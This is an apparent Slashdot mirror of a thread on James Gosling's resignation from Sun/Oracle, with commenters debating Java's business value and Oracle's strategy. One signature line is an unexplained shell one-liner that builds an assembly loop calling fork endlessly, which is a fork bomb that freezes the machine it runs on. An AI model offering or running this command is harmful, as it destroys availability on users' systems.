Slashdot Mirror
"Father of Java" Resigns From Sun/Oracle
Thrashing Rage writes "James Gosling has confirmed he is leaving Sun/Oracle: 'Yes, indeed, the rumors are true: I resigned from Oracle a week ago (April 2nd). I apologize to everyone in St. Petersburg who came to TechDays on Thursday expecting to hear from me. I really hated not being there. As to why I left, it's difficult to answer: just about anything I could say that would be accurate and honest would do more harm than good. The hardest part is no longer being with all the great people I've had the privilege to work with over the years. I don't know what I'm going to do next, other than take some time off before I start job hunting.'"
Several of the biggest names at Sun have departed since the Oracle merger. The memories of Sun are fading fast. IBM probably would have been a better suitor for Sun than Oracle, but now it's all over but the crying.
Looking for a job? Get in line, buddy.
I don't think James is going to be job "hunting"... Unless it is the kind of hunting where you stay at home and accept "applications" from prospective employers.
This from the blog of Gosling, the man himself:
http://nighthacks.com/roller/jag/entry/so_long_old_friend1
If you browse his blog entries, you see the noose was tightening, as was expected. SUN and Oracle may both be in the Valley, but their cultures were radically different.
Another good guys sank...
Fuck systemd. Fuck Redhat. Fuck Soylent, too. Wait, scratch the last one.
Here's why I ask: not because he's not a smart technologist - he clearly is, and while I don't love everything about Java it was a pretty darn good idea.
However, from a business standpoint Java was basically a disaster, because it required quite a lot of support from Sun while at the same time not giving them something they could sell. To become a standard, they had to give away the basic tools and describe the standard so that other people could make JVMs. Once they did that, there was really nothing that Sun had to sell that its competitors (including open source projects) couldn't build either better or cheaper.
Now, you could make the same criticism of Microsoft's C# language, except that Microsoft always treated its languages as a loss leader for selling MSDN and Windows server licenses. Since Java was specifically cross-platform, it couldn't do the same for Sun.
I am officially gone from
When I was at Sun, Gosling had less and less to do with actual work on Java. By the time I left the company, he seemed to be mainly an evangelist. Java was almost entirely his brainchild, of course, but it's been a long time since he contributed to it in any significant way.
Sun had a fair number of people who were paid to do more or less what they wanted. Most of the time I was at Sun, Gosling was more or less in that category. Some of these folks did some really brilliant work, but I'm not sure they really earned the money Sun paid them. That wasn't a big deal when everybody wanted Sun's high-end hardware and there was plenty of money for this sort of thing. Towards the end, though, money got tight, and there were fewer people like that. But even during the last days, I think they really had more Blue Sky People then they could really afford.
for him to brush up on his vb.net skills
and maybe he should get some ms access experience
intellectual property law is philosophically incoherent. it is your moral duty to ignore it or sabotage it
Finally long super volatile import Ellison break instanceof native abstract class Glosling.
What one fool can do, another can. (Ancient Simian Proverb)
unlike your job at burger king, he would have plenty of money put away to not have to worry about unemployment checks.
If you mod me down, I will become more powerful than you can imagine....
Is he quitting? Will he leave all his stuff behind for garbage collectors to pick up? Or will he clean up after him by hand?
Non impediti ratione cogitationus.
It depends on whether any of his coworkers use him as a reference.
Is he quitting? Will he leave all his stuff behind for garbage collectors to pick up? Or will he clean up after him by hand?
Unfortunately, his garbage collector is non-deterministic.
Oracle still makes their money on software. Making money by selling people extremely expensive software licenses only really works if you can get various kinds of locks and holds on them
It ALSO works if you produce a far better product than other solutions that scales far better.
I don't use Oracle these days, but a decade ago it would be laughable to say Oracle did as well as they did by "locks and holds", they simply had a very powerful database that a lot of technical people liked using.
I would wager that is still true today, though for most common business uses even MySQL is fine at this point.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Yeah but he doesn't have a freezer full of Whoppers
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
They just have no interest in paying to produce free software. They're not in the business of giving stuff away. As much as it drives Oracle database sales, that's what they'll do and the connection has to be pretty direct and immediate.
Same with OpenOffice, OpenSolaris, MySQL, VirtualBox and all the others. Mr. Ellison has a pretty solid "row or get off the boat" philosophy. He didn't buy Sun for its freeware. He wanted it so he could play the bigger game.
The economy tanked and some legendary companies were put in distress. This is why prudent companies put aside a cash cushion - so that they can leverage distress and acquire cheaply valuable IP, assets, brilliance and brands. With the market lining up as a war between Cisco and HP for a converged solution including server, storage, network and software, Oracle looked across the vast swath of distressed companies and saw buying Sun as an opportunity to make it a three dog race.
Ellison has no intention of losing this race and has no problem casting out what he sees as ballast - in this case development costs that don't yield immediate profits he can use to get the rest of the pieces he needs to compete on this field. He'll keep Solaris and parts of VirtualBox that he can take proprietary because he needs an OS and a VM. He still needs a switch and router biz to make a go of it, so look for a big buy there.
It's time all hands got to forking - or at least mirroring.
Help stamp out iliturcy.
java.lang.PointersAreNotAllowedException
at org.slashdot.javascript.JokeFactory.initGlobal(JokeFactory.java:207)
at joke.dynamics.Woosh.execute(Woosh.java:17)
at joke.Main.loadDynamics(Unknown Source)
at joke.Main.go(Unknown Source)
at joke.Main.access$0(Unknown Source)
at joke.Main$3.run(Unknown Source)
at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:209)
at java.awt.EventQueue.dispatchEvent(EventQueue.java:597)
at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:269)
at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:184)
at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:174)
at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:169)
at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:161)
at java.awt.EventDispatchThread.run(EventDispatchThread.java:122)
HR would take one look at that and say "This guy must be joking, he didn't invent coffee" and then toss the resume in the circular file.
Actually that's a pretty valid point. .NET doesn't have an IDE that provides the tools, community and broad scope that Eclipse does. A lot of the newer features in Visual Studio today were added in a vain attempt to catch up to Eclipse.
Eclipse is it's own ecosystem, which you can't say for Visual Studio and especially not any of the horrible open source .NET IDE offerings.
Mod me down, my New Earth Global Warmingist friends!
It seems Oracle is explicitly disinterested in Java, so IBM may get the one thing they would have wanted on the cheap, a chance at the people behind Sun's Java as they leave/are forced out of Oracle.
XML is like violence. If it doesn't solve the problem, use more.